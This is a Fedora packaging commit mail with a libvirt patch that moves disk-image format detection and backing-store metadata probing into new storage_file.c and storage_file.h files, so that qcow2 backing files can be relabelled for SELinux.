-            if (VIR_ALLOC(enc) < 0) {
-                virReportOOMError(conn);
-                if (backingStore)
-                    VIR_FREE(*backingStore);
-                return -1;
-            }
-            enc->format = VIR_STORAGE_ENCRYPTION_FORMAT_QCOW;
-            *encryption = enc;
-            /* XXX ideally we'd fill in secret UUID here
-             * but we cannot guarentee 'conn' is non-NULL
-             * at this point in time :-(  So we only fill
-             * in secrets when someone first queries a vol
-             */
+        switch (target->format) {
+        case VIR_STORAGE_FILE_QCOW:
+        case VIR_STORAGE_FILE_QCOW2:
+            (*encryption)->format = VIR_STORAGE_ENCRYPTION_FORMAT_QCOW;
+            break;
+        default:
+            break;
         }
-        return 0;
-    }
-
-    /* No magic, so check file extension */
-    for (i = 0 ; i < ARRAY_CARDINALITY(fileTypeInfo) ; i++) {
-        if (fileTypeInfo[i].extension == NULL)
-            continue;
-
-        if (!virFileHasSuffix(target->path, fileTypeInfo[i].extension))
-            continue;
 
-        target->format = fileTypeInfo[i].type;
-        return 0;
+        /* XXX ideally we'd fill in secret UUID here
+         * but we cannot guarentee 'conn' is non-NULL
+         * at this point in time :-(  So we only fill
+         * in secrets when someone first queries a vol
+         */
     }
 
-    /* All fails, so call it a raw file */
-    target->format = VIR_STORAGE_VOL_FILE_RAW;
     return 0;
 }
 
@@ -891,7 +559,7 @@ virStorageBackendFileSystemRefresh(virConnectPtr conn,
             goto no_memory;
 
         vol->type = VIR_STORAGE_VOL_FILE;
-        vol->target.format = VIR_STORAGE_VOL_FILE_RAW; /* Real value is filled in during probe */
+        vol->target.format = VIR_STORAGE_FILE_RAW; /* Real value is filled in during probe */
         if (virAsprintf(&vol->target.path, "%s/%s",
                         pool->def->target.path,
                         vol->name) == -1)
@@ -918,7 +586,7 @@ virStorageBackendFileSystemRefresh(virConnectPtr conn,
         }
 
         if (backingStore != NULL) {
-            if (vol->target.format == VIR_STORAGE_VOL_FILE_QCOW2 &&
+            if (vol->target.format == VIR_STORAGE_FILE_QCOW2 &&
                 STRPREFIX("fmt:", backingStore)) {
                 char *fmtstr = backingStore + 4;
                 char *path = strchr(fmtstr, ':');
@@ -927,7 +595,7 @@ virStorageBackendFileSystemRefresh(virConnectPtr conn,
                 } else {
                     *path = '\0';
                     if ((vol->backingStore.format =
-                         virStorageVolFormatFileSystemTypeFromString(fmtstr)) < 0) {
+                         virStorageFileFormatTypeFromString(fmtstr)) < 0) {
                         VIR_FREE(backingStore);
                     } else {
                         memmove(backingStore, path, strlen(path) + 1);
@@ -1121,9 +789,9 @@ _virStorageBackendFileSystemVolBuild(virConnectPtr conn,
                                                                inputvol);
         if (!create_func)
             return -1;
-    } else if (vol->target.format == VIR_STORAGE_VOL_FILE_RAW) {
+    } else if (vol->target.format == VIR_STORAGE_FILE_RAW) {
         create_func = virStorageBackendCreateRaw;
-    } else if (vol->target.format == VIR_STORAGE_VOL_FILE_DIR) {
+    } else if (vol->target.format == VIR_STORAGE_FILE_DIR) {
         create_func = createFileDir;
     } else if ((tool_type = virStorageBackendFindFSImageTool(NULL)) != -1) {
         create_func = virStorageBackendFSImageToolTypeToFunc(conn, tool_type);
diff --git a/src/storage_conf.c b/src/storage_conf.c
index cb063cc..788de15 100644
--- a/src/storage_conf.c
+++ b/src/storage_conf.c
@@ -36,6 +36,7 @@
 #include "virterror_internal.h"
 #include "datatypes.h"
 #include "storage_conf.h"
+#include "storage_file.h"
 
 #include "xml.h"
 #include "uuid.h"
@@ -82,12 +83,6 @@ VIR_ENUM_IMPL(virStorageVolFormatDisk,
               "linux-lvm", "linux-raid",
               "extended")
 
-VIR_ENUM_IMPL(virStorageVolFormatFileSystem,
-              VIR_STORAGE_VOL_FILE_LAST,
-              "raw", "dir", "bochs",
-              "cloop", "cow", "dmg", "iso",
-              "qcow", "qcow2", "vmdk", "vpc")
-
 VIR_ENUM_IMPL(virStoragePartedFsType,
               VIR_STORAGE_PARTED_FS_TYPE_LAST,
               "ext2", "ext2", "fat16",
@@ -150,9 +145,9 @@ static virStoragePoolTypeInfo poolTypeInfo[] = {
     },
     { .poolType = VIR_STORAGE_POOL_DIR,
       .volOptions = {
-            .defaultFormat = VIR_STORAGE_VOL_FILE_RAW,
-            .formatFromString = virStorageVolFormatFileSystemTypeFromString,
-            .formatToString = virStorageVolFormatFileSystemTypeToString,
+            .defaultFormat = VIR_STORAGE_FILE_RAW,
+            .formatFromString = virStorageFileFormatTypeFromString,
+            .formatToString = virStorageFileFormatTypeToString,
         },
     },
     { .poolType = VIR_STORAGE_POOL_FS,
@@ -162,9 +157,9 @@ static virStoragePoolTypeInfo poolTypeInfo[] = {
             .formatToString = virStoragePoolFormatFileSystemTypeToString,
         },
       .volOptions = {
-            .defaultFormat = VIR_STORAGE_VOL_FILE_RAW,
-            .formatFromString = virStorageVolFormatFileSystemTypeFromString,
-            .formatToString = virStorageVolFormatFileSystemTypeToString,
+            .defaultFormat = VIR_STORAGE_FILE_RAW,
+            .formatFromString = virStorageFileFormatTypeFromString,
+            .formatToString = virStorageFileFormatTypeToString,
         },
     },
     { .poolType = VIR_STORAGE_POOL_NETFS,
@@ -176,9 +171,9 @@ static virStoragePoolTypeInfo poolTypeInfo[] = {
             .formatToString = virStoragePoolFormatFileSystemNetTypeToString,
         },
       .volOptions = {
-            .defaultFormat = VIR_STORAGE_VOL_FILE_RAW,
-            .formatFromString = virStorageVolFormatFileSystemTypeFromString,
-            .formatToString = virStorageVolFormatFileSystemTypeToString,
+            .defaultFormat = VIR_STORAGE_FILE_RAW,
+            .formatFromString = virStorageFileFormatTypeFromString,
+            .formatToString = virStorageFileFormatTypeToString,
         },
     },
     { .poolType = VIR_STORAGE_POOL_ISCSI,
diff --git a/src/storage_conf.h b/src/storage_conf.h
index 421d305..9fedb12 100644
--- a/src/storage_conf.h
+++ b/src/storage_conf.h
@@ -429,23 +429,6 @@ enum virStoragePoolFormatLogical {
 };
 VIR_ENUM_DECL(virStoragePoolFormatLogical)
 
-
-enum virStorageVolFormatFileSystem {
-    VIR_STORAGE_VOL_FILE_RAW = 0,
-    VIR_STORAGE_VOL_FILE_DIR,
-    VIR_STORAGE_VOL_FILE_BOCHS,
-    VIR_STORAGE_VOL_FILE_CLOOP,
-    VIR_STORAGE_VOL_FILE_COW,
-    VIR_STORAGE_VOL_FILE_DMG,
-    VIR_STORAGE_VOL_FILE_ISO,
-    VIR_STORAGE_VOL_FILE_QCOW,
-    VIR_STORAGE_VOL_FILE_QCOW2,
-    VIR_STORAGE_VOL_FILE_VMDK,
-    VIR_STORAGE_VOL_FILE_VPC,
-    VIR_STORAGE_VOL_FILE_LAST,
-};
-VIR_ENUM_DECL(virStorageVolFormatFileSystem)
-
 /*
  * XXX these are basically partition types.
  *
diff --git a/src/storage_file.c b/src/storage_file.c
new file mode 100644
index 0000000..44057d2
--- /dev/null
+++ b/src/storage_file.c
@@ -0,0 +1,424 @@
+/*
+ * storage_file.c: file utility functions for FS storage backend
+ *
+ * Copyright (C) 2007-2009 Red Hat, Inc.
+ * Copyright (C) 2007-2008 Daniel P. Berrange
+ *
+ * This library is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public
+ * License as published by the Free Software Foundation; either
+ * version 2.1 of the License, or (at your option) any later version.
+ *
+ * This library is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this library; if not, write to the Free Software
+ * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307  USA
+ *
+ * Author: Daniel P. Berrange <berrange at redhat.com>
+ */
+
+#include <config.h>
+#include "storage_file.h"
+
+#include <unistd.h>
+#include <fcntl.h>
+#include "memory.h"
+#include "virterror_internal.h"
+
+#define VIR_FROM_THIS VIR_FROM_STORAGE
+
+VIR_ENUM_IMPL(virStorageFileFormat,
+              VIR_STORAGE_FILE_LAST,
+              "raw", "dir", "bochs",
+              "cloop", "cow", "dmg", "iso",
+              "qcow", "qcow2", "vmdk", "vpc")
+
+enum lv_endian {
+    LV_LITTLE_ENDIAN = 1, /* 1234 */
+    LV_BIG_ENDIAN         /* 4321 */
+};
+
+enum {
+    BACKING_STORE_OK,
+    BACKING_STORE_INVALID,
+    BACKING_STORE_ERROR,
+};
+
+/* Either 'magic' or 'extension' *must* be provided */
+struct FileTypeInfo {
+    int type;           /* One of the constants above */
+    const char *magic;  /* Optional string of file magic
+                         * to check at head of file */
+    const char *extension; /* Optional file extension to check */
+    enum lv_endian endian; /* Endianness of file format */
+    int versionOffset;    /* Byte offset from start of file
+                           * where we find version number,
+                           * -1 to skip version test */
+    int versionNumber;    /* Version number to validate */
+    int sizeOffset;       /* Byte offset from start of file
+                           * where we find capacity info,
+                           * -1 to use st_size as capacity */
+    int sizeBytes;        /* Number of bytes for size field */
+    int sizeMultiplier;   /* A scaling factor if size is not in bytes */
+                          /* Store a COW base image path (possibly relative),
+                           * or NULL if there is no COW base image, to RES;
+                           * return BACKING_STORE_* */
+    int qcowCryptOffset;  /* Byte offset from start of file
+                           * where to find encryption mode,
+                           * -1 if encryption is not used */
+    int (*getBackingStore)(virConnectPtr conn, char **res,
+                           const unsigned char *buf, size_t buf_size);
+};
+
+static int cowGetBackingStore(virConnectPtr, char **,
+                              const unsigned char *, size_t);
+static int qcowXGetBackingStore(virConnectPtr, char **,
+                                const unsigned char *, size_t);
+static int vmdk4GetBackingStore(virConnectPtr, char **,
+                                const unsigned char *, size_t);
+
+
+static struct FileTypeInfo const fileTypeInfo[] = {
+    /* Bochs */
+    /* XXX Untested
+    { VIR_STORAGE_FILE_BOCHS, "Bochs Virtual HD Image", NULL,
+      LV_LITTLE_ENDIAN, 64, 0x20000,
+      32+16+16+4+4+4+4+4, 8, 1, -1, NULL },*/
+    /* CLoop */
+    /* XXX Untested
+    { VIR_STORAGE_VOL_CLOOP, "#!/bin/sh\n#V2.0 Format\nmodprobe cloop file=$0 && mount -r -t iso9660 /dev/cloop $1\n", NULL,
+      LV_LITTLE_ENDIAN, -1, 0,
+      -1, 0, 0, -1, NULL }, */
+    /* Cow */
+    { VIR_STORAGE_FILE_COW, "OOOM", NULL,
+      LV_BIG_ENDIAN, 4, 2,
+      4+4+1024+4, 8, 1, -1, cowGetBackingStore },
+    /* DMG */
+    /* XXX QEMU says there's no magic for dmg, but we should check... */
+    { VIR_STORAGE_FILE_DMG, NULL, ".dmg",
+      0, -1, 0,
+      -1, 0, 0, -1, NULL },
+    /* XXX there's probably some magic for iso we can validate too... */
+    { VIR_STORAGE_FILE_ISO, NULL, ".iso",
+      0, -1, 0,
+      -1, 0, 0, -1, NULL },
+    /* Parallels */
+    /* XXX Untested
+    { VIR_STORAGE_FILE_PARALLELS, "WithoutFreeSpace", NULL,
+      LV_LITTLE_ENDIAN, 16, 2,
+      16+4+4+4+4, 4, 512, -1, NULL },
+    */
+    /* QCow */
+    { VIR_STORAGE_FILE_QCOW, "QFI", NULL,
+      LV_BIG_ENDIAN, 4, 1,
+      4+4+8+4+4, 8, 1, 4+4+8+4+4+8+1+1+2, qcowXGetBackingStore },
+    /* QCow 2 */
+    { VIR_STORAGE_FILE_QCOW2, "QFI", NULL,
+      LV_BIG_ENDIAN, 4, 2,
+      4+4+8+4+4, 8, 1, 4+4+8+4+4+8, qcowXGetBackingStore },
+    /* VMDK 3 */
+    /* XXX Untested
+    { VIR_STORAGE_FILE_VMDK, "COWD", NULL,
+      LV_LITTLE_ENDIAN, 4, 1,
+      4+4+4, 4, 512, -1, NULL },
+    */
+    /* VMDK 4 */
+    { VIR_STORAGE_FILE_VMDK, "KDMV", NULL,
+      LV_LITTLE_ENDIAN, 4, 1,
+      4+4+4, 8, 512, -1, vmdk4GetBackingStore },
+    /* Connectix / VirtualPC */
+    /* XXX Untested
+    { VIR_STORAGE_FILE_VPC, "conectix", NULL,
+      LV_BIG_ENDIAN, -1, 0,
+      -1, 0, 0, -1, NULL},
+    */
+};
+
+static int
+cowGetBackingStore(virConnectPtr conn,
+                   char **res,
+                   const unsigned char *buf,
+                   size_t buf_size)
+{
+#define COW_FILENAME_MAXLEN 1024
+    *res = NULL;
+    if (buf_size < 4+4+ COW_FILENAME_MAXLEN)
+        return BACKING_STORE_INVALID;
+    if (buf[4+4] == '\0') /* cow_header_v2.backing_file[0] */
+        return BACKING_STORE_OK;
+
+    *res = strndup ((const char*)buf + 4+4, COW_FILENAME_MAXLEN);
+    if (*res == NULL) {
+        virReportOOMError(conn);
+        return BACKING_STORE_ERROR;
+    }
+    return BACKING_STORE_OK;
+}
+
+static int
+qcowXGetBackingStore(virConnectPtr conn,
+                     char **res,
+                     const unsigned char *buf,
+                     size_t buf_size)
+{
+    unsigned long long offset;
+    unsigned long size;
+
+    *res = NULL;
+    if (buf_size < 4+4+8+4)
+        return BACKING_STORE_INVALID;
+    offset = (((unsigned long long)buf[4+4] << 56)
+              | ((unsigned long long)buf[4+4+1] << 48)
+              | ((unsigned long long)buf[4+4+2] << 40)
+              | ((unsigned long long)buf[4+4+3] << 32)
+              | ((unsigned long long)buf[4+4+4] << 24)
+              | ((unsigned long long)buf[4+4+5] << 16)
+              | ((unsigned long long)buf[4+4+6] << 8)
+              | buf[4+4+7]); /* QCowHeader.backing_file_offset */
+    if (offset > buf_size)
+        return BACKING_STORE_INVALID;
+    size = ((buf[4+4+8] << 24)
+            | (buf[4+4+8+1] << 16)
+            | (buf[4+4+8+2] << 8)
+            | buf[4+4+8+3]); /* QCowHeader.backing_file_size */
+    if (size == 0)
+        return BACKING_STORE_OK;
+    if (offset + size > buf_size || offset + size < offset)
+        return BACKING_STORE_INVALID;
+    if (size + 1 == 0)
+        return BACKING_STORE_INVALID;
+    if (VIR_ALLOC_N(*res, size + 1) < 0) {
+        virReportOOMError(conn);
+        return BACKING_STORE_ERROR;
+    }
+    memcpy(*res, buf + offset, size);
+    (*res)[size] = '\0';
+    return BACKING_STORE_OK;
+}
+
+
+static int
+vmdk4GetBackingStore(virConnectPtr conn,
+                     char **res,
+                     const unsigned char *buf,
+                     size_t buf_size)
+{
+    static const char prefix[] = "parentFileNameHint=\"";
+
+    char desc[20*512 + 1], *start, *end;
+    size_t len;
+
+    *res = NULL;
+
+    if (buf_size <= 0x200)
+        return BACKING_STORE_INVALID;
+    len = buf_size - 0x200;
+    if (len > sizeof(desc) - 1)
+        len = sizeof(desc) - 1;
+    memcpy(desc, buf + 0x200, len);
+    desc[len] = '\0';
+    start = strstr(desc, prefix);
+    if (start == NULL)
+        return BACKING_STORE_OK;
+    start += strlen(prefix);
+    end = strchr(start, '"');
+    if (end == NULL)
+        return BACKING_STORE_INVALID;
+    if (end == start)
+        return BACKING_STORE_OK;
+    *end = '\0';
+    *res = strdup(start);
+    if (*res == NULL) {
+        virReportOOMError(conn);
+        return BACKING_STORE_ERROR;
+    }
+    return BACKING_STORE_OK;
+}
+
+/**
+ * Return an absolute path corresponding to PATH, which is absolute or relative
+ * to the directory containing BASE_FILE, or NULL on error
+ */
+static char *
+absolutePathFromBaseFile(const char *base_file, const char *path)
+{
+    size_t base_size, path_size;
+    char *res, *p;
+
+    if (*path == '/')
+        return strdup(path);
+
+    base_size = strlen(base_file) + 1;
+    path_size = strlen(path) + 1;
+    if (VIR_ALLOC_N(res, base_size - 1 + path_size) < 0)
+        return NULL;
+    memcpy(res, base_file, base_size);
+    p = strrchr(res, '/');
+    if (p != NULL)
+        p++;
+    else
+        p = res;
+    memcpy(p, path, path_size);
+    if (VIR_REALLOC_N(res, (p + path_size) - res) < 0) {
+        /* Ignore failure */
+    }
+    return res;
+}
+
+/**
+ * Probe the header of a file to determine what type of disk image
+ * it is, and info about its capacity if available.
+ */
+int
+virStorageFileGetMetadataFromFD(virConnectPtr conn,
+                                const char *path,
+                                int fd,
+                                virStorageFileMetadata *meta)
+{
+    unsigned char head[20*512]; /* vmdk4GetBackingStore needs this much. */
+    int len, i;
+
+    /* If all else fails, call it a raw file */
+    meta->format = VIR_STORAGE_FILE_RAW;
+
+    if ((len = read(fd, head, sizeof(head))) < 0) {
+        virReportSystemError(conn, errno, _("cannot read header '%s'"), path);
+        return -1;
+    }
+
+    /* First check file magic */
+    for (i = 0 ; i < ARRAY_CARDINALITY(fileTypeInfo) ; i++) {
+        int mlen;
+
+        if (fileTypeInfo[i].magic == NULL)
+            continue;
+
+        /* Validate magic data */
+        mlen = strlen(fileTypeInfo[i].magic);
+        if (mlen > len)
+            continue;
+        if (memcmp(head, fileTypeInfo[i].magic, mlen) != 0)
+            continue;
+
+        /* Validate version number info */
+        if (fileTypeInfo[i].versionNumber != -1) {
+            int version;
+
+            if (fileTypeInfo[i].endian == LV_LITTLE_ENDIAN) {
+                version = (head[fileTypeInfo[i].versionOffset+3] << 24) |
+                    (head[fileTypeInfo[i].versionOffset+2] << 16) |
+                    (head[fileTypeInfo[i].versionOffset+1] << 8) |
+                    head[fileTypeInfo[i].versionOffset];
+            } else {
+                version = (head[fileTypeInfo[i].versionOffset] << 24) |
+                    (head[fileTypeInfo[i].versionOffset+1] << 16) |
+                    (head[fileTypeInfo[i].versionOffset+2] << 8) |
+                    head[fileTypeInfo[i].versionOffset+3];
+            }
+            if (version != fileTypeInfo[i].versionNumber)
+                continue;
+        }
+
+        /* Optionally extract capacity from file */
+        if (fileTypeInfo[i].sizeOffset != -1) {
+            if (fileTypeInfo[i].endian == LV_LITTLE_ENDIAN) {
+                meta->capacity =
+                    ((unsigned long long)head[fileTypeInfo[i].sizeOffset+7] << 56) |
+                    ((unsigned long long)head[fileTypeInfo[i].sizeOffset+6] << 48) |
+                    ((unsigned long long)head[fileTypeInfo[i].sizeOffset+5] << 40) |
+                    ((unsigned long long)head[fileTypeInfo[i].sizeOffset+4] << 32) |
+                    ((unsigned long long)head[fileTypeInfo[i].sizeOffset+3] << 24) |
+                    ((unsigned long long)head[fileTypeInfo[i].sizeOffset+2] << 16) |
+                    ((unsigned long long)head[fileTypeInfo[i].sizeOffset+1] << 8) |
+                    ((unsigned long long)head[fileTypeInfo[i].sizeOffset]);
+            } else {
+                meta->capacity =
+                    ((unsigned long long)head[fileTypeInfo[i].sizeOffset] << 56) |
+                    ((unsigned long long)head[fileTypeInfo[i].sizeOffset+1] << 48) |
+                    ((unsigned long long)head[fileTypeInfo[i].sizeOffset+2] << 40) |
+                    ((unsigned long long)head[fileTypeInfo[i].sizeOffset+3] << 32) |
+                    ((unsigned long long)head[fileTypeInfo[i].sizeOffset+4] << 24) |
+                    ((unsigned long long)head[fileTypeInfo[i].sizeOffset+5] << 16) |
+                    ((unsigned long long)head[fileTypeInfo[i].sizeOffset+6] << 8) |
+                    ((unsigned long long)head[fileTypeInfo[i].sizeOffset+7]);
+            }
+            /* Avoid unlikely, but theoretically possible overflow */
+            if (meta->capacity > (ULLONG_MAX / fileTypeInfo[i].sizeMultiplier))
+                continue;
+            meta->capacity *= fileTypeInfo[i].sizeMultiplier;
+        }
+
+        if (fileTypeInfo[i].qcowCryptOffset != -1) {
+            int crypt_format;
+
+            crypt_format = (head[fileTypeInfo[i].qcowCryptOffset] << 24) |
+                (head[fileTypeInfo[i].qcowCryptOffset+1] << 16) |
+                (head[fileTypeInfo[i].qcowCryptOffset+2] << 8) |
+                head[fileTypeInfo[i].qcowCryptOffset+3];
+            meta->encrypted = crypt_format != 0;
+        }
+
+        /* Validation passed, we know the file format now */
+        meta->format = fileTypeInfo[i].type;
+        if (fileTypeInfo[i].getBackingStore != NULL) {
+            char *base;
+
+            switch (fileTypeInfo[i].getBackingStore(conn, &base, head, len)) {
+            case BACKING_STORE_OK:
+                break;
+
+            case BACKING_STORE_INVALID:
+                continue;
+
+            case BACKING_STORE_ERROR:
+                return -1;
+            }
+            if (base != NULL) {
+                meta->backingStore = absolutePathFromBaseFile(path, base);
+                VIR_FREE(base);
+                if (meta->backingStore == NULL) {
+                    virReportOOMError(conn);
+                    return -1;
+                }
+            }
+        }
+        return 0;
+    }
+
+    /* No magic, so check file extension */
+    for (i = 0 ; i < ARRAY_CARDINALITY(fileTypeInfo) ; i++) {
+        if (fileTypeInfo[i].extension == NULL)
+            continue;
+
+        if (!virFileHasSuffix(path, fileTypeInfo[i].extension))
+            continue;
+
+        meta->format = fileTypeInfo[i].type;
+        return 0;
+    }
+
+    return 0;
+}
+
+int
+virStorageFileGetMetadata(virConnectPtr conn,
+                          const char *path,
+                          virStorageFileMetadata *meta)
+{
+    int fd, ret;
+
+    if ((fd = open(path, O_RDONLY)) < 0) {
+        virReportSystemError(conn, errno, _("cannot open file '%s'"), path);
+        return -1;
+    }
+
+    ret = virStorageFileGetMetadataFromFD(conn, path, fd, meta);
+
+    close(fd);
+
+    return ret;
+}
diff --git a/src/storage_file.h b/src/storage_file.h
new file mode 100644
index 0000000..b0abcaf
--- /dev/null
+++ b/src/storage_file.h
@@ -0,0 +1,62 @@
+/*
+ * storage_file.c: file utility functions for FS storage backend
+ *
+ * Copyright (C) 2007-2009 Red Hat, Inc.
+ * Copyright (C) 2007-2008 Daniel P. Berrange
+ *
+ * This library is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public
+ * License as published by the Free Software Foundation; either
+ * version 2.1 of the License, or (at your option) any later version.
+ *
+ * This library is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this library; if not, write to the Free Software
+ * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307  USA
+ *
+ * Author: Daniel P. Berrange <berrange at redhat.com>
+ */
+
+#ifndef __VIR_STORAGE_FILE_H__
+#define __VIR_STORAGE_FILE_H__
+
+#include "util.h"
+#include <stdbool.h>
+
+enum virStorageFileFormat {
+    VIR_STORAGE_FILE_RAW = 0,
+    VIR_STORAGE_FILE_DIR,
+    VIR_STORAGE_FILE_BOCHS,
+    VIR_STORAGE_FILE_CLOOP,
+    VIR_STORAGE_FILE_COW,
+    VIR_STORAGE_FILE_DMG,
+    VIR_STORAGE_FILE_ISO,
+    VIR_STORAGE_FILE_QCOW,
+    VIR_STORAGE_FILE_QCOW2,
+    VIR_STORAGE_FILE_VMDK,
+    VIR_STORAGE_FILE_VPC,
+    VIR_STORAGE_FILE_LAST,
+};
+
+VIR_ENUM_DECL(virStorageFileFormat);
+
+typedef struct _virStorageFileMetadata {
+    int format;
+    char *backingStore;
+    unsigned long long capacity;
+    bool encrypted;
+} virStorageFileMetadata;
+
+int virStorageFileGetMetadata(virConnectPtr conn,
+                              const char *path,
+                              virStorageFileMetadata *meta);
+int virStorageFileGetMetadataFromFD(virConnectPtr conn,
+                                    const char *path,
+                                    int fd,
+                                    virStorageFileMetadata *meta);
+
+#endif /* __VIR_STORAGE_FILE_H__ */
diff --git a/src/util.h b/src/util.h
index f9715ab..75afecc 100644
--- a/src/util.h
+++ b/src/util.h
@@ -26,6 +26,7 @@
 #define __VIR_UTIL_H__
 
 #include "verify.h"
+#include "internal.h"
 #include <sys/select.h>
 #include <sys/types.h>
 
diff --git a/src/vbox/vbox_tmpl.c b/src/vbox/vbox_tmpl.c
index 7270710..783a216 100644
--- a/src/vbox/vbox_tmpl.c
+++ b/src/vbox/vbox_tmpl.c
@@ -45,6 +45,7 @@
 #include "virterror_internal.h"
 #include "domain_event.h"
 #include "storage_conf.h"
+#include "storage_file.h"
 #include "uuid.h"
 #include "event.h"
 #include "memory.h"
@@ -5980,14 +5981,14 @@ static virStorageVolPtr vboxStorageVolCreateXML(virStoragePoolPtr pool,
 
         /* TODO: for now only the vmdk, vpc and vdi type harddisk
          * variants can be created, also since there is no vdi
-         * type in enum virStorageVolFormatFileSystem {} the default
+         * type in enum virStorageFileFormat {} the default
          * will be to create vdi if nothing is specified in
          * def->target.format
          */
 
-        if (def->target.format == VIR_STORAGE_VOL_FILE_VMDK) {
+        if (def->target.format == VIR_STORAGE_FILE_VMDK) {
             data->pFuncs->pfnUtf8ToUtf16("VMDK", &hddFormatUtf16);
-        } else if (def->target.format == VIR_STORAGE_VOL_FILE_VPC) {
+        } else if (def->target.format == VIR_STORAGE_FILE_VPC) {
             data->pFuncs->pfnUtf8ToUtf16("VHD", &hddFormatUtf16);
         } else {
             data->pFuncs->pfnUtf8ToUtf16("VDI", &hddFormatUtf16);
@@ -6302,13 +6303,13 @@ static char *vboxStorageVolGetXMLDesc(virStorageVolPtr vol, unsigned int flags A
                             DEBUG("Storage Volume Format: %s", hddFormatUtf8);
 
                             if (STRCASEEQ("vmdk", hddFormatUtf8))
-                                def.target.format = VIR_STORAGE_VOL_FILE_VMDK;
+                                def.target.format = VIR_STORAGE_FILE_VMDK;
                             else if (STRCASEEQ("vhd", hddFormatUtf8))
-                                def.target.format = VIR_STORAGE_VOL_FILE_VPC;
+                                def.target.format = VIR_STORAGE_FILE_VPC;
                             else
-                                def.target.format = VIR_STORAGE_VOL_FILE_RAW;
+                                def.target.format = VIR_STORAGE_FILE_RAW;
 
-                            /* TODO: need to add vdi to enum virStorageVolFormatFileSystem {}
+                            /* TODO: need to add vdi to enum virStorageFileFormat {}
                              * and then add it here
                              */
 
-- 
1.6.2.5



Index: libvirt.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libvirt/devel/libvirt.spec,v
retrieving revision 1.185
retrieving revision 1.186
diff -u -p -r1.185 -r1.186
--- libvirt.spec	1 Oct 2009 08:35:19 -0000	1.185
+++ libvirt.spec	1 Oct 2009 15:17:31 -0000	1.186
@@ -172,6 +172,9 @@ Patch05: libvirt-fix-usb-device-passthro
 # Disable sound backend (#524499, #508317)
 Patch06: libvirt-disable-audio-backend.patch
 
+# Re-label qcow2 backing files (#497131)
+Patch07: libvirt-svirt-relabel-qcow2-backing-files.patch
+
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root
 URL: http://libvirt.org/
 BuildRequires: python-devel
@@ -390,6 +393,7 @@ of recent versions of Linux (and other O
 %patch04 -p1
 %patch05 -p1
 %patch06 -p1
+%patch07 -p1
 
 %build
 %if ! %{with_xen}
@@ -782,6 +786,7 @@ fi
 %changelog
 * Thu Oct  1 2009 Mark McLoughlin <markmc at redhat.com> - 0.7.1-8
 - Disable sound backend, even when selinux is disabled (#524499)
+- Re-label qcow2 backing files (#497131)
 
 * Wed Sep 30 2009 Mark McLoughlin <markmc at redhat.com> - 0.7.1-7
 - Fix USB device passthrough (#522683)



From markmc at fedoraproject.org  Thu Oct  1 15:17:32 2009
From: markmc at fedoraproject.org (Mark McLoughlin)
Date: Thu,  1 Oct 2009 15:17:32 +0000 (UTC)
Subject: rpms/libvirt/F-12 libvirt-svirt-relabel-qcow2-backing-files.patch, 
	NONE, 1.1 libvirt.spec, 1.185, 1.186
Message-ID: <20091001151732.DE04311C00C1@cvs1.fedora.phx.redhat.com>

Author: markmc

Update of /cvs/pkgs/rpms/libvirt/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27995

Modified Files:
	libvirt.spec 
Added Files:
	libvirt-svirt-relabel-qcow2-backing-files.patch 
Log Message:
- Re-label qcow2 backing files (#497131)

libvirt-svirt-relabel-qcow2-backing-files.patch:
 Makefile.am          |    1 
 libvirt_private.syms |    7 
 security_selinux.c   |   28 +++
 storage_backend.c    |   17 +-
 storage_backend_fs.c |  418 +++++---------------------------------------------
 storage_conf.c       |   25 +--
 storage_conf.h       |   17 --
 storage_file.c       |  424 +++++++++++++++++++++++++++++++++++++++++++++++++++
 storage_file.h       |   62 +++++++
 util.h               |    1 
 vbox/vbox_tmpl.c     |   16 -
 11 files changed, 591 insertions(+), 425 deletions(-)

--- NEW FILE libvirt-svirt-relabel-qcow2-backing-files.patch ---
>From 5bb2da190bc6d5a36952315dd48a00709f88c3c2 Mon Sep 17 00:00:00 2001
From: Mark McLoughlin <markmc at redhat.com>
Date: Fri, 25 Sep 2009 14:20:13 +0100
Subject: [PATCH] Re-label image file backing stores

Use virStorageFileGetMetadata() to find any backing stores for images
and re-label them

Without this, qemu cannot access qcow2 backing files, see:

  https://bugzilla.redhat.com/497131

* src/security/security_selinux.c: re-label backing store files in
  SELinuxSetSecurityImageLabel()

(cherry picked from commit fe627697a3830cd2db0efcc201d8caa9e171263d)

Includes the following commits:

  util.h needs libvirt.h for virConnectPtr

  Seems standard to include internal.h in order to pull in libvirt.h

  * src/util/util.h: include internal.h

  (cherry picked from commit 25e2857c219e7fb91412746f7919931552c4e07a)

  Move file format enum to libvirt_util

  Rename virStorageVolFormatFileSystem to virStorageFileFormat and
  move to src/util/storage_file.[ch]

  * src/Makefile.am: add src/util/storage_file.[ch]

  * src/conf/storage_conf.[ch]: move enum from here ...

  * src/util/storage_file.[ch]: .. to here

  * src/libvirt_private.syms: update To/FromString exports

  * src/storage/storage_backend.c, src/storage/storage_backend_fs.c,
    src/vbox/vbox_tmpl.c: update for above changes

  (cherry picked from commit 00fd3ff49bb1e4578756a32a812fdbf5ee335d8c)

  Split virStorageGetMetadataFromFD() from virStorageBackendProbeTarget()

  Prepare the code probing a file's format and associated metadata for
  moving into libvirt_util.

  * src/storage/storage_backend_fs.c: re-factor the format and metadata
    probing code in preparation for moving it

  (cherry picked from commit f5fc670638d94776a4eba55f5affa69f69ba1ae2)

  Introduce virStorageFileMetadata structure

  Introduce a metadata structure and make virStorageGetMetadataFromFD()
  fill it in.

  * src/util/storage_file.h: add virStorageFileMetadata

  * src/backend/storage_backend_fs.c: virStorageGetMetadataFromFD() now
    fills in the virStorageFileMetadata structure

  (cherry picked from commit 5fede0a90be565e1c44b7c8236cb8910fd06b52f)

